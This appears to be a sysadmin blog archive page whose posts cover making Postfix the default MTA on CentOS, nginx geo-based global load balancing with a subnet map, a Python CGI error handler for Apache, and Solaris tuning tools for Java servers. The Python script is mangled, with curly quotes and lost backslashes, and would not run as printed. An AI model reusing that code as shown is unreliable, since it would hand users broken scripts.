Making postfix (other mta) as default mta(mail server)

The alternatives program is a way to change the default mail server so that it will be Postfix. This program is only necessary for CentOS not Suse or Ubuntu, as Suse and Ubuntu both use Postfix as the default.
Alternatives is a program that will allow you to assess and change the mail program or MTA options. To view current links to the program use the following command.
alternatives –display mta
mta – status is manual.
link currently points to /usr/sbin/sendmail.postfix
/usr/sbin/sendmail.sendmail – priority 90
slave mta-pam: /etc/pam.d/smtp.sendmail
slave mta-mailq: /usr/bin/mailq.sendmail
slave mta-newaliases: /usr/bin/newaliases.sendmail
slave mta-rmail: /usr/bin/rmail.sendmail
slave mta-sendmail: /usr/lib/sendmail.sendmail
slave mta-mailqman: /usr/share/man/man1/mailq.sendmail.1.gz
slave mta-newaliasesman: /usr/share/man/man1/newaliases.sendmail.1.gz
slave mta-aliasesman: /usr/share/man/man5/aliases.sendmail.5.gz
slave mta-sendmailman: /usr/share/man/man8/sendmail.sendmail.8.gz
/usr/sbin/sendmail.postfix – priority 30
slave mta-pam: /etc/pam.d/smtp.postfix
slave mta-mailq: /usr/bin/mailq.postfix
slave mta-newaliases: /usr/bin/newaliases.postfix
slave mta-rmail: /usr/bin/rmail.postfix
slave mta-sendmail: /usr/lib/sendmail.postfix
slave mta-mailqman: /usr/share/man/man1/mailq.postfix.1.gz
slave mta-newaliasesman: /usr/share/man/man1/newaliases.postfix.1.gz
slave mta-aliasesman: /usr/share/man/man5/aliases.postfix.5.gz
slave mta-sendmailman: /usr/share/man/man1/sendmail.postfix.1.gz
Current `best’ version is /usr/sbin/sendmail.sendmail.
If you wanted to change from a Sendmail MTA to Postfix MTA use this command:
alternatives –set mta /usr/sbin/sendmail.postfix.
You should not see any output.
To select an alternative from those MTAs available use this command:
alternatives –config mta
You will see this output which will allow you to choose an MTA using a number.
alternatives –config mta
There are 2 programs which provide ‘mta’.
Selection Command
———————————————–
* 1 /usr/sbin/sendmail.sendmail
+ 2 /usr/sbin/sendmail.postfix
Enter to keep the current selection[+], or type selection number:

Setup Global load balancing for your site using Open source nginx

 

 

Nginx, called engine-x is a high performance HTTP server and reverse proxy, with proxy capabilities for IMAP/POP3/SMTP. Nginx is the creation of Russian developer, Igor Sysoev, and has been running in production for over two years. The latest stable release at the time of writing is Nginx 0.5.30, and is the focus of this article. While Nginx is capable of proxying non-HTTP protocols, we’re going to focus on HTTP and HTTPS.

 

High Performance, Yet Lightweight

Nginx uses a master process and N+1 worker process model. The number of workers is controlled by the configuration, yet the memory footprint and resources used by Nginx are several orders of magnitude less than Apache. Nginx uses epoll() in Linux. In our lab, Nginx was handling hundreds of requests per second, while using about 16MB of ram and a consistent load average of about 1.00. This is considerably better than Apache 2.2, and Pound doesn’t scale well with this type of usage (high memory usage, lots of threads). In general, Nginx offers a very cost effective solution.

 

Lighttpd

Lighttpd is a great lightweight option, but it has a couple of drawbacks. Nginx has very good reverse proxy capabilities with integrated basic load balancing. This makes it a very good option as a front end to dynamic web applications, such as those running under Rails and using Mongrel. Lighttpd on the other hand, has an old and unmaintained proxy module. Now it does have a new proxy module with Lighttpd 1.5.x, but that is the other problem with Lighttpd, where its going. Lighttpd 1.4 is lightweight, relies on very few external libraries and is fast. Lighttpd 1.5.x on
the other hand requires many more external libraries, including glib, now I don’t know about you but anything using glibc is far from “lightweight”.

 

Basic Configuration

The basic configuration of Nginx specifies the unprivileged user to run as, the number of worker processes, error log, pid and events block. After this basic configuration block, you have per protocol blocks (http for example).

 

 

  • user nobody;
  • worker_processes 4;
  • error_log logs/error.log;
  • pid logs/nginx.pid;
  • events {
  • worker_connections 1024;
  • }

 

 

Basic HTTP server

Nginx is relatively easy to configure as a basic web server, it supports IP and Name based virtual hosts, and it uses a pcre based URI processing system. Configuring static hosting is very easy, you just specify a new server block:

 

 

  • server {
  • listen 10.10.10.100:80;
  • server_name www.foocorp.com foocorp.com;
  • access_log logs/foocorp.com.log main;
  • location / {
  • index index.html index.htm;
  • root /var/www/static/foocorp.com/htdocs;
  • }
  • }

 

 

Here we are listening on port 80 on 10.10.10.100, with name virtual hosting using www.foocorp.com and foocorp.com. The server_name option also supports wildcards, so you can specify *.foocorp.com and have it handled by the configuration. The usual access logs, and root specifies htdocs. If you have a large number of name virtual hosts, you’ll need to increase the size of the hash bucket with server_names_hash_bucket_size 128;

 

Gzip compression

Nginx like many other web servers, can compress content using gzip.

 

 

  • gzip on;
  • gzip_min_length 1100;
  • gzip_buffers 4 8k;
  • gzip_types text/plain text/html text/css text/js;

 

 

Here Nginx allows you to enable gzip, specify a minimum length to compress, buffers and the mime types that Nginx will compress. Gzip compression is supported by all modern browsers.

 

HTTP Load Balancing

Nginx can be used a simple HTTP load balancer, in this configuration, you would place Nginx in front of your existing web servers. The existing web servers can be running Nginx as well. In HTTP load balancer mode, you simply need to add an upstream block to the configuration :

 

 

  • upstream a.serverpool.foocorp.com {
  • server 10.80.10.10:80;
  • server 10.80.10.20:80;
  • server 10.80.10.30:80;
  • }
  • upstream b.serverpool.foocorp.com {
  • server 10.80.20.10:80;
  • server 10.80.20.20:80;
  • server 10.80.20.30:80;
  • }

 

 

Then in the server block, you add the line:

 

 

  • proxy_pass http://a.serverpool.foocorp.com;

 

 

Health Check Limitations

Nginx has only simple load balancing capabilities. It doesn’t have health checking capabilities and it uses a simple load balancing algorithm. However, Nginx is a relatively new project, so one would expect to see various load balancing algorithms and health checking support added over time. While it might not be wise to replace your commercial load balancer with Nginx anytime soon, Nginx is almost there in terms of a very competitive solution. Monit, and other monitoring applications offer good options to compensate for a lack of health checking capabilities in Nginx.

 

Global Server Load Balancing

Nginx has a very interesting capability. With a little configuration can provide Global Server Load Balancing. Now Global Server Load Balancing (GSLB) is a feature you’ll find on high-end load balancing switches such as those from F5, Radware, Nortel, Cisco etc. Typically GSLB is an additional license you have to purchase for a few thousand dollars, on top of a switch that typically start around US$10,000.

 

GSLB works by having multiple sites distributed around the world, so you might have a site in Europe, a site in Asia and a site in North America. Normally, you would direct traffic by region by using different top level domains (TLD). So www.foocorp.com might go to North America, www.foocorp.co.uk to Europe, www.foocorp.com.cn to the server in Asia. This isn’t a very effective solution because it relies on the user to visit the proper domain. A user in Asia, might see a print advertisement for the North American market, hitting the .com address means they aren’t visiting the closest and fastest server.

 

GSLB works by looking at the source IP address of the request, and then determines which site is closest to that source address. The simplest method is to break the Internet address space down per region, then to route
traffic to the local site in that region. When we say region, we mean – North America, South America, EMEA (Europe, Middle East and Africa) and APAC (Asia-Pacific).

 

Configuring Nginx for GSLB

The geo {} block is used to configure GSLB in Nginx, the geo block causes Nginx to look at the source IP, and set a variable based on the configuration. The nice thing with Nginx is that you can set a default.

 

 

  • geo $gslb {
  • default na;
  • include conf/gslb.conf
  • }

 

 

Here in our configuration, we’re setting the default to na (North America) and then including the gslb.conf. The configuration file gslb.conf is a basic file consisting of subnet variable. Here is an excerpt from gslb.conf:

 

 

  • 32.0.0.0/8 emea;
  • 41.0.0.0/8 emea;
  • 43.0.0.0/8 apac;

 

 

When Nginx receives a request from a source IP in 32.0.0.0/8 (for those of you unfamiliar with slash notation, this is the entire Class A, 32.0.0.0 thru 32.255.255.255), it sets the variable $gslb to emea. We then use that later in the configuration to redirect.

 

Inside the location block of our server configuration in Nginx, we add a number of if statements before the proxy_pass (if used) statement. These instruct the server to do a HTTP 302 Redirect (temporary redirect).

 

 

  • if ($gslb = emea) {
  • rewrite ^(.*) http://europe.foocorp.com$1 redirect;
  • }
  • if ($gslb = apac) {
  • rewrite ^(.*) http://asia.foocorp.com$1 redirect;
  • }

 

 

These are configured under the www.foocorp.com named virtual server, if someone from North America hits www.foocorp.com, it hits the default and simply loads from the same server. If the user is from Europe, the request should match one of the subnets listed in gslb.conf, and sets the gslb variable to emea. This request causes the North American site hosting the .com domain to redirect the client to the server(s) at the site in Europe.

 

On the European server, the configuration is slightly different. Instead of the emea check, you check for NA and redirect to the US site. This is to handle the situation when someone in North America hits the .eu or .co.uk site.

 

 

  • if ($gslb = na) {
  • rewrite ^(.*) http://www.foocorp.com$1 redirect;
  • }

 

 

Traffic Control: In-region not always faster

The problem with commercial solutions is that they are too generalized. In our example configurations so far, we make some pretty wild assumptions. The problem with the Internet is that a user in Asia, might not for example, have a faster connection to servers in Asia. A good example of this is India and Pakistan. A server hosted in Hong Kong or Singapore, is in Asia, and would be considered “in region” for customers in India and Pakistan. The reality though is that traffic from those countries to Hong Kong, is actually routed through Europe, so packets from India to Hong Kong, go from India thru Europe, across the United States and hit Hong Kong from the Pacific. However, in the same subnet, customers in Australia are only a few hops away from Hong Kong.

 

In such a situation, with commercial solutions, you are just out of luck, but with Nginx you can fine tune how traffic is directed. Here we know 120.0.0.0/6 is mainly APAC, but 122.162.0.0/16 and 122.163.0.0/16 have faster connections to Europe. So, we simply add these subnets to the configuration. Nginx will use the closest match to the source IP. So 122.162.0.0/16 is
finer grained than 120.0.0.0/6, so Nginx will use it.

 

Manual Tuning

The initial tuning can be done by using the whois command, for example whois 120.0.0.0 will give you an idea which region it belongs to – ARIN, RIPE, etc. ARIN, RIP, APNIC, AFRINIC, and LACNIC are regional internet registries or RIR. An RIR is an organization overseeing the allocation and registration of Internet number resources within a particular region of the world. IP addresses both IPv4 and IPv6 are managed by these RIRs. However, as in our previous example, you’re going to need to fine tune the gslb configuration with traceroute and ping information. Probably the best approach is to do a general configuration and then fine tune the configuration based on feedback from customers.

 

Cost Savings vs. Features

Looking at a well known Layer 4-7 switching solution, you would need a minimum of $15k per site to purchase the necessary equipment and licensing. Commercial solutions do have some additional fault tolerant measures, such as the ability to measure load and availability of servers at remote sites. However, with Nginx offering a very close solution which is available for FREE with the source code, it is only a matter of time before such features are part of Nginx or available thru other projects.

 

gslb.conf

The following is an initial example of gslb.conf, it should be sufficient for most users.

 

 

  • 25.0.0.0/8 uk;
  • 32.0.0.0/8 emea;
  • 41.0.0.0/8 emea;
  • 43.0.0.0/8 apac;
  • 51.0.0.0/8 uk;
  • 53.0.0.0/8 emea;
  • 57.0.0.0/8 emea;
  • 58.0.0.0/8 apac;
  • 59.0.0.0/8 apac;
  • 60.0.0.0/8 apac;
  • 61.0.0.0/8 apac;
  • 62.0.0.0/8 emea;
  • 77.0.0.0/8 emea;
  • 78.0.0.0/7 emea;
  • 80.0.0.0/5 emea;
  • 88.0.0.0/6 emea;
  • 90.192.0.0/11 uk;
  • 91.104.0.0/13 uk;
  • 91.125.0.0/16 uk;
  • 92.0.0.0/8 emea;
  • 93.0.0.0/8 emea;
  • 116.0.0.0/6 apac;
  • 120.0.0.0/6 apac;
  • 122.162.0.0/16 uk;
  • 122.163.0.0/16 uk;
  • 124.0.0.0/7 apac;
  • 126.0.0.0/8 apac;
  • 129.0.0.0/8 emea;
  • 130.0.0.0/8 emea;
  • 131.0.0.0/8 emea;
  • 133.0.0.0/8 apac;
  • 134.0.0.0/8 emea;
  • 139.0.0.0/8 emea;
  • 141.0.0.0/8 emea;
  • 145.0.0.0/8 emea;
  • 150.0.0.0/8 apac;
  • 151.0.0.0/8 emea;
  • 157.0.0.0/8 apac;
  • 162.0.0.0/8 emea;
  • 163.0.0.0/8 emea;
  • 164.0.0.0/8 emea;
  • 171.0.0.0/8 emea;
  • 188.0.0.0/8 emea;
  • 193.0.0.0/8 emea;
  • 194.0.0.0/8 emea;
  • 195.0.0.0/8 emea;
  • 196.0.0.0/8 emea;
  • 202.0.0.0/7 apac;
  • 210.0.0.0/7 apac;
  • 212.0.0.0/7 emea;
  • 217.0.0.0/8 emea;
  • 218.0.0.0/6 apac;
  • 219.0.0.0/8 apac;
  • 220.0.0.0/7 apac;
  • 222.0.0.0/8 apac;

 

 

How to catch 500 error from error logs in apache

A. Enable cgi for your apache. Add following.

1) LoadModule cgid_module modules/mod_cgid.so

2)

<Directory “/appl/apache2/cgi-bin”>

AllowOverride None

Options ExecCGI

Order allow,deny

Allow from all

</Directory>

3)

ScriptAlias /cgi-bin/ “/appl/apache2/cgi-bin/”

AddHandler cgi-script .cgi

ErrorDocument 413 /cgi-bin/error.cgi

4) Restart apache.

B. Set up the following python script to catch this error, send an email to admin and give the custome message to users.

/appl/apche/cgi-bin/error.cgi

chmod +x /appl/apache/cgi-bin/error.cgi

#!/usr/bin/python
import sys, os
SENDMAIL = “/usr/sbin/sendmail” # sendmail location
print “Content-Type: text/htmlnn”;
if (os.environ[“REDIRECT_STATUS”] == “413”) or (os.environ[“REDIRECT_STATUS”] == “500”):
stats = “<table border=1><tr><td>Variable</td><td>Value</td></tr>”
for name, value in os.environ.items():
stats += “<tr><td>%s</td><td>%s</td></tr>” % (name,value)
stats += “</table>”
sendmail_location = “/usr/sbin/sendmail” # sendmail location
p = os.popen(“%s -t” % “/usr/sbin/sendmail”, “w”)
p.write(“From: %sn” % “error-reporter@domain.com”)
p.write(“To: %sn” % “mail@domain.com”)
p.write(“Content-Type: text/htmln”)
p.write(“Subject: Error %s in accessing n” % os.environ[“REDIRECT_STATUS”])
p.write(“n”) # blank line separating headers from body
p.write(stats)
status = p.close()
”’print “<H3><center>Inconvenience Regretted.  Team has been notified of this issue</center></h3>””’
cookieclearjs=”””
<script language=’JavaScript’>
var todate = new Date ( );
todate.setTime ( todate.getTime() – 100000 );
var domain_url_del = window.location.href;
var domain_Name_url_del = domain_url_del.split(“http://”);
var domain_Name_temp_del = domain_Name_url_del[1].split(“/”);
var domain_Name_del = domain_Name_temp_del[0];
var cookieList = document.cookie.split(‘;’);
for(var i=0;i < cookieList.length;i++)
{
var name = cookieList[i];
if(name.indexOf(“MyLinks”)!=-1)
{
document.cookie = ”+name+’=; path=//APPLICATION/PATH; domain=.’ + domain_Name_del + ‘; expires=’ + todate.toGMTString();
document.cookie = ”+name+’=; path=//APPLICATION/PATH; domain=.’ + domain_Name_del + ‘; expires=’ + todate.toGMTString();
}
}
</script>
“””
print cookieclearjs
print “<script language=’JavaScript’>window.location=’%s'</script>” % os.environ[“REDIRECT_SCRIPT_URI”]
else:
print “<H3><center>What you are looking for, is not here</center></h3>”

Performance Tools and Tuning Tips for Java Technology-Based Server Applications on the Solaris OS

Introduction

This article presents a set of tools, system settings, and tuning tips for Java server applications that run on and scale across 2 to 64 CPU Sun Enterprise servers. This information was assembled by engineers with many years of experience tuning a variety of commercial server-side Java applications on Solaris.

Analysis Tools

The table below lists the performance analysis tools covered in this article. The tools are distinguished by software layer. In addition to performance issues, many of these tools can be used to detect other types of bottlenecks.

Click on a Name or a Parameter to link to a particular topic. Many tool descriptions provide sample output, suggestions for interpreting output results, tips on improving output results, and links to related sites.

Category Type Name Parameters Usage
Analysis tool Solaris 8 mpstat CPU utilization
iostat Disk I/O subsystem
netstat Network subsystem
-I hme0 10 Interface bandwidth
-sP tcp TCP kernel module
-a | grep <hostname>| wc -1 Socket connection count
Java Server Applications verbose:gc Garbage collection bottlenecks
Tnf Profiling
JVMPI Function call interface
JProbe Commercial tool
Optimizelt Commercial tool
Tuning Parameters Solaris 8 /etc/system Various Performance
/etc/rc2.d/S69inet Various TCP kernel tuning parameters
Java Server Applications Execution threads Counting
Database connections Counting
Software caches Garbage collection overhead
JVM Various Various Performance

Solaris 8 Tools

mpstat

The mpstat utility is a useful tool to monitor CPU utilization, especially with multithreaded applications running on multiprocessor machines, which is a typical configuration for enterprise solutions.

mpstat with an argument between 5 seconds to 10 seconds will be quite non-intrusive to monitor; larger arguments, such as 60 seconds, might be suitable for certain applications. Statistics are gathered for each clock tick.

An interval that is smaller than 5 or 10 seconds will be more difficult to analyze. A larger interval might provide a means of smoothing the data by removing spikes that could mislead you during analysis.

mpstat output
#mpstat 10

 CPU minf mjf xcal  intr ithr  csw icsw migr smtx  srw syscl  usr sys  wt idl
  0    1   0 5529   442  302  419  166   12  196    0   775   95   5   0   0
  1    1   0  220   237  100  383  161   41   95    0   450   96   4   0   0
  4    0   0   27   192  100  178   94   38   44    0   100   99   1   0   0
  5    1   0  160   255  100  566  202   28  162    0  1286   87   8   0   5
  8    0   0  131   283  100  684  238   30  203    0  1396   81  11   0   8
  9    1   0  165   263  100  579  212   23  162    0  1260   86  10   0   4
 10    1   0  208   255  100  553  213   12  179    0  1430   88  11   0   1
 11    0   0  116   255  100  698  207   48  221    0  1310   76  14   0  10
 12    2   0  239   252  100  584  215    8  152    0  1529   90   8   0   2
 13    0   0  110   275  100  459  200   36  100    0   619   96   4   0   0
 14    1   0  145   263  100  583  218   18  165    0  1389   88   7   0   4
 15    1   0  165   254  100 1404  587   26  179    0  2117   82  11   0   7
 16    0   0  133   278  100  523  215   26  130    0  1068   93   6   0   2
 17    0   0   77   292  100  506  219   35  117    0   657   94   4   0   2
 18    1   0  235   257  100  655  218   25  185    0  1722   85   9   0   5
 19    1   0  193   255  100  576  212   14  164    0  1485   89   8   0   2
 20    0   0  363  5731 5686  727  177   62  532    0   423   36  46   0  18
 21    1   0  174   256  100  608  220   24  174    0  1444   85  10   0   5
 22    0   0  125   259  100  566  216   12  192    0  1645   85  11   0   4
 23    0   0   46   317  100  457  216   39   93    0   118   99   1   0   0
 24    0   0   47   298  100  406  198   48   76    0   123   98   2   0   0
 25    3   0  414   270  100  882  340    8  158    0  1736   91   8   0   0
 26    1   0  155   261  100  564  213   18  190    0  1330   87  11   0   2
 27    1   0  217   257  100  552  220    2  160    0  1699   91   8   0   0
 28    3   0  423   259  100  840  287   13  177    0  1683   88  10   0   2
 29    0   0  752  1218 1113  666  127   77  346    0   637   56  25   0  19
 30    0   0  103   294  100  468  211   31   98    0   552   96   4   0   0
 31    1   0  109   252  100  570  207   16  190    0  1501   86  10   0   4
What to look for
  • Note the much higher intr and ithr values for CPU#20 and CPU#21. Solaris will select some CPUs to handle the system interrupts. Which CPUs and the number that are chosen depend on the I/O devices attached to the system, the physical location of those devices, and whether interrupts have been disabled on a CPU (psradmin command).
    • intr – interrupts
    • intr – thread interrupts (not including the clock interrupts)
      • csw – Voluntary Context switches. When this number slowly increases, and the application is not IO bound, it may indicate a mutex contention.
      • icsw – Involuntary Context switches. When this number increases past 500, the system is under a heavy load.
      • smtx – if smtx increases sharply, for instance from 50 to 500, it is a sign of a system resource bottleneck (ex., network or disk).
      • Usr, sys and idl – Together, all three columns represent CPU saturation. A well-tuned application under full load (0% idle) should fall within 80% to 90% usr, and 20% to 10% sys times, respectively. A smaller percentage value for sys reflects more time for user code and fewer preemptions, which result in greater throughput for a Java application.
Things to try
  • Do not include CPU(s) handling interrupts in processor binds of processor sets. In the above example, CPU#20 and CPU#29 are handling interrupts. If you wanted to run 14 instances of your application, and you get the best performance from one instance from 2 CPUs, then it is reasonable to expect that creating 14 2CPU processor sets would yield the best performance. The ideal solution would be to create 13 processor sets, which don’t include the interrupt-handling CPUs, and bind 13 of the processes to the 13 processor sets. The last process would be started and allowed to run on the remaining CPUs. It is important to make available to your application as many CPUs as it can efficiently use.
  • Do you see increasing csw? For a Java application, an increasing csw value will most likely have to do with network use. A common cause for a high csw value is the result of having created too many socket connections–either by not pooling connections or by handling new connections inefficiently. If this is the case you would also see a high TCP connection count when executing netstat -a | wc -l (Refer to the netstat section).
  • Do you see increasing icsw? A common cause of this is preemption, most likely because of an end of time slice on the CPU. For a Java application, this could be a sign that there is room for improvement in code optimization.

iostat

The iostat tool gives statistics on the disk I/O subsystem. The iostat command has many options. More information can be found in the man pages. The following options provide information on locating I/O bottlenecks.

iostat Output
#iostat -xn 10
                  extended device statistics              
    r/s    w/s   kr/s   kw/s wait actv wsvc_t asvc_t  %w  %b device
    0.0    0.0    0.0    0.0  0.0  0.0    0.0    0.0   0   0 fd0
    2.7   58.2   14.6 2507.0  0.0  1.4    0.0   23.0   0  52 d0
   47.3    0.0 2465.6    0.0  0.0  0.4    0.0    8.8   0  30 d1
    0.0    0.1    0.0    0.1  0.0  0.0    0.0   13.1   0   0 c0t0d0
    0.0    0.0    0.0    0.0  0.0  0.0    0.0    0.0   0   0 c0t1d0
    0.0    0.0    0.0    0.0  0.0  0.0    0.0    0.0   0   0 c0t6d0
    0.0    0.0    0.0    0.0  0.0  0.0    0.0    0.0   0   0 c1t9d0
    0.1   58.2    0.1  801.9  0.0  1.5    0.0   25.7   0  29 c1t10d0
    2.1   64.4   10.5  818.8  0.0  1.6    0.0   23.5   0  38 c1t11d0
    0.5   71.7    4.0  887.1  0.0  1.6    0.0   21.8   0  41 c1t12d0
   92.0    0.0 1242.5    0.0  0.0  0.7    0.0    8.1   0  24 c1t13d0
   84.7    0.0 1223.1    0.0  0.0  0.7    0.0    8.4   0  22 c1t14d0
    0.0    0.0    0.0    0.0  0.0  0.0    0.0    0.0   0   0 thirdeye:vold(pid268)
    
                    extended device statistics              
    r/s    w/s   kr/s   kw/s wait actv wsvc_t asvc_t  %w  %b device
    0.0    0.0    0.0    0.0  0.0  0.0    0.0    0.0   0   0 fd0
    2.5   94.3   14.3 2372.5  0.0  4.0    0.0   41.8   0  85 d0
   50.8    2.8 2000.3   22.4  0.0  0.7    0.0   13.8   0  29 d1
    0.4    2.3    2.5   17.7  0.0  0.2    0.0   82.4   0   3 c0t0d0
    0.0    0.0    0.0    0.0  0.0  0.0    0.0    0.0   0   0 c0t1d0
    0.0    0.0    0.0    0.0  0.0  0.0    0.0    0.0   0   0 c0t6d0
    0.0    0.0    0.0    0.0  0.0  0.0    0.0    0.0   0   0 c1t9d0
    0.0   62.6    0.0  736.0  0.0  1.6    0.0   25.2   0  46 c1t10d0
    1.9   60.6    9.5  746.9  0.0  2.6    0.0   41.5   0  45 c1t11d0
    0.6   80.0    4.8  888.8  0.0  2.6    0.0   32.6   0  65 c1t12d0
   74.8    2.4 1014.2   19.2  0.0  0.9    0.0   11.4   0  22 c1t13d0
   75.7    0.4  986.1    3.2  0.0  0.5    0.0    6.7   0  20 c1t14d0
What to look for
  • %b – Percentage of time the disk is busy (transactions in progress). Average %b values over 25 could be a bottleneck.
  • %w – Percentage of time there are transactions waiting for service (queue non-empty).
  • asvc_t – Reports on average response time of active transactions, in milliseconds. It is mislabeled asvc_t; it is the time between a user process issuing a read and the read completing. Consistent values over 30ms could indicate a bottleneck.
Things to try
  • For a Java application, disk bottlenecks can often be addressed by using software caches. An example of a software cache would be a JDBC result set cache, or a generated pages cache. Disk reads and writes are slow; therefore, limiting disk access is a sure way to improve performance. Problems with too much disk access are often hidden when running on Solaris because of its own file system caches. Even with Solaris file system caches, using software caches to prevent files ystem and operating system overhead is recommended.
  • Mount file systems with options. (Refer to the mount_ufs man page). Several mount options may eliminate some disk load. Which options to try depends highly on the type of data. One possible option is noatime, which specifies the ufs file system not to update the access time on files. This may reduce load of systems accessing read-only files or doing error logging.
  • # mount -F ufs -o noatime /<your_volume>
  • Add more disks to the file system. If you are using a single disk file system, upgrading to a hardware or software RAID is the next logical step. Hardware RAID is significantly faster than software RAID and is highly suggested. A software RAID solution would add additional computational (CPU) load to the system.
  • Change block size. Depending on storage hardware and application behavior, there may be a better block size to use besides the ufs default of 8192k. Look at the man pages for mkfs and newfs to determine ways to change block size.

netstat

The netstat tool gives statistics on the network subsystem. It can be used to analyze many aspects of the network subsystem, two of which are the TCP/IP kernel module and the interface bandwidth. An overview of both uses is below.

netstat -I hme0 10

These netstat options are used to analyze interface bandwidth. The upper bound (max) of the current throughput can be calculated from the output. The upper bound is reported because the netstat output reports the metric of packets, which don’t necessarily have to be their maximum size. The upper bound of the bandwidth can be calculated using the following equation:

Bandwidth Used = (Total number of Packets) / (Polling Interval (10) ) ) * MTU (1500 default).

The current MTU for an interface can be found with: ifconfig -a

netstat -I hme0 10 Output
#netstat -I hme0 10
 input   hme0      output           input  (Total)    output
packets errs  packets errs  colls  packets errs  packets errs  colls 
122004816 272   159722061 0     0      348585818 2582  440541305 2     2     
0       0     0       0     0      84144   0     107695  0     0     
0       0     0       0     0      96144   0     123734  0     0     
0       0     0       0     0      89373   0     114906  0     0     
0       0     0       0     0      84568   0     108759  0     0     
0       0     0       0     0      84720   0     108800  0     0     
0       0     0       0     0      87911   0     112803  0     0     
0       0     0       0     0      99046   0     126866  0     0     
0       0     0       0     0      105500  0     134260  0     0     
0       0     0       0     0      96404   0     123158  0     0     
0       0     0       0     0      86732   0     111010  0     0     
0       0     0       0     0      87753   0     112309  0     0     
0       0     0       0     0      88752   0     114405  0     0     
0       0     0       0     0      96240   0     123425  0     0     
0       0     0       0     0      107527  0     136866  0     0     
0       0     0       0     0      100686  0     128385  0     0     
0       0     0       0     0      92745   0     118790  0     0     
0       0     0       0     0      95187   0     122041  0     0     
0       0     0       0     0      95105   0     122998  0     0     
0       0     0       0     0      104498  0     134284  0     0     
0       0     0       0     0      113289  0     144882  0     0     
0       0     0       0     0      103227  0     132159  0     0     
0       0     0       0     0      98239   0     125220  0     0  
What to look for
  • colls – collisions. If your network is not switched, then a low level of collisions is expected. As the network becomes increasingly saturated, collision will increase and eventually will become a bottleneck. The best solution for collisions is a switched network.
  • errs – errors. The presence of errors could indicate device errors. If your network is switched, errors indicate that you are nearly consuming the bandwidth capacity of your network. The solution to this problem is to give the system more bandwidth, which can be achieved through more network interfaces or a network bandwidth upgrade. This is highly dependent on your particular network architecture.
Things to try
  • For a Java application, network saturation is difficult to address besides increasing bandwidth. If network saturation is occurring quickly (saturation at less than 8CPUs for an application server running on a 100mbit Ethernet), then an investigation to ensure conservative network usage is a good first step.
  • Increase network bandwidth. If your network is not switched, the best step to take is to upgrade to a switched network. If your network is switched, first check if more network interfaces are a possible solution, otherwise upgrade to a higher bandwidth network.

netstat -sP tcp

These netstat options are used to analyze the TCP kernel module. Many of the fields reported represent fields in the kernel module that indicate bottlenecks. These bottlenecks can be addressed using the ndd command and the tuning parameters referenced in the /etc/rc2.d/S69inet Section

netstat -sP tcp Output
#netstat -sP tcp

TCP     tcpRtoAlgorithm     =     4     tcpRtoMin           =   400
        tcpRtoMax           = 60000     tcpMaxConn          =    -1
        tcpActiveOpens      = 34773     tcpPassiveOpens     =  9015
        tcpAttemptFails     =   110     tcpEstabResets      =   145
        tcpCurrEstab        =   106     tcpOutSegs          =2338097
        tcpOutDataSegs      =1363583    tcpOutDataBytes     =730037068
        tcpRetransSegs      =   531     tcpRetransBytes     =139481
        tcpOutAck           =974222     tcpOutAckDelayed    =388421
        tcpOutUrg           =     0     tcpOutWinUpdate     =    96
        tcpOutWinProbe      =    53     tcpOutControl       = 87975
        tcpOutRsts          =   666     tcpOutFastRetrans   =    47
        tcpInSegs           =2302712
        tcpInAckSegs        =1148145    tcpInAckBytes       =729808007
        tcpInDupAck         = 76300     tcpInAckUnsent      =     0
        tcpInInorderSegs    =1828170    tcpInInorderBytes   =995767266
        tcpInUnorderSegs    = 15155     tcpInUnorderBytes   =113298
        tcpInDupSegs        =  1144     tcpInDupBytes       =132520
        tcpInPartDupSegs    =     1     tcpInPartDupBytes   =   416
        tcpInPastWinSegs    =     0     tcpInPastWinBytes   =     0
        tcpInWinProbe       =    46     tcpInWinUpdate      =    48
        tcpInClosed         =   251     tcpRttNoUpdate      =   344
        tcpRttUpdate        =1105386    tcpTimRetrans       =   989
        tcpTimRetransDrop   =     5     tcpTimKeepalive     =   818
        tcpTimKeepaliveProbe=   183     tcpTimKeepaliveDrop =     0
        tcpListenDrop       =     0     tcpListenDropQ0     =     0
        tcpHalfOpenDrop     =     0     tcpOutSackRetrans   =    56
What to look for
  • tcpListenDrop – If after several looks at the command output the tcpListenDrop continues to increase, it could indicate a problem with queue size.
Things to try
  • Increase Java application thread count. A possible cause of increasing tcpListenDrop is the application throughput being bottlenecked by the number of executing threads. At this point increasing application threads may be a good thing to try.
  • Increase queue size. Increase the request queue sizes using ndd. More information on other ndd commands referenced in the /etc/rc2.d/S69inet Section
    • ndd -set /dev/tcp tcp_conn_req_max_q 1024
    • ndd -set /dev/tcp tcp_conn_req_max_q0 4096

netstat -a | grep <your_hostname> | wc -l

Running this command gives a rough count of socket connections on the system. There is a limit of how many connections can be open at one time; therefore, it is a good tool to use when looking for bottlenecks.

netstat -a | grep <your_hostname> | wc -l Output
#netstat -a | wc -l
34567
What to look for
  • socket count – If the number returned is greater than 20,000 then the number of socket connections could be a possible bottleneck.
Things to try
  • For a Java application, a common cause of too many sockets is inefficient use of sockets. It is common practice in Java applications to create a socket connection each time a request is made. Creating and destroying socket connections is not only expensive, but can cause unnecessary system overhead by creating too many sockets. Creating a connection pool may be a good solution to investigate. For an example of connection pool use, refer to Advanced Programming for the Java 2 Platform, Chapter 8.
  • Decrease point where number of anonymous socket connections start.
    • ndd -set /dev/tcp tcp_smallest_anon_port 1024
  • Decrease the time a TCP connection stays in TIME_WAIT.
    • ndd -set /dev/tcp tcp_time_wait_interval 60000

verbose:gc

The java -verbose:gc option is a great tool for quickly diagnosing garbage collection (GC) bottlenecks. Calculate the total of all the time spent in GC by adding the time output from -verbose:gc. If the fraction (time in GC)/( elapsed time) is a high fraction greater than 0.2, then GC is most likely a problem. If this fraction is less than 0.2, then GC is not the issue. For more detail information about JVM Garbage Collection, see Tuning Garbage Collection with the 1.3.1 Java Virtual Machine.

Java Application

Tnf traces

This is a great tool for both profiling and debugging a Java Application. On a Solaris system refer to the Manual pages for tracing, TNF_PROBE, tnfdump, tnfmerge and prex. This will help to get an overall understanding of inserting the probes in the source code. The manual pages have been written with C/C++ sources in view.

Here are the steps to take for a Java source:

Step 1: Insert the probes as shown in the short example below.

import java.io.*;
import java.util.*;

class probedObject{
  public native void objectCreateStart();
  public native void objectCreateEnd();

  static {
                  System.loadLibrary("javaProbe");
  }
}

class Main{
  public static void main(String[] arg) throws Throwable
   {
        probedObject obj = new probedObject();
        long startTime = System.currentTimeMillis();

        for (int i=0; i<1000; i++) {
          obj.objectCreateStart();
          obj = new probedObject();
          obj.objectCreateEnd();
        };
        System.out.println(System.currentTimeMillis()-startTime);
   }
}

Step 2: Compile Main.java

#javac Main.java

